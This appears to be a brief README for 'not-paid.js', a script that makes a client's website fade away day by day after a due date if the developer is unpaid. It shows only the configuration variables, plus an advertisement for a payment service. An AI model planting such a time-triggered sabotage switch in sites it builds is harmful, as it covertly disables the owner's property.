Add opacity to the body tag and decrease it every day until their site completely fades away. Set a due date and customize the number of days you offer them until the website is fully vanished.
/* change these variables as you wish */
var due_date = new Date('2017-02-27');
var days_deadline = 60;
/* stop changing here */PS: Next time use letsdeel.com to make sure you get paid.
Just load the not-paid.js file in <head>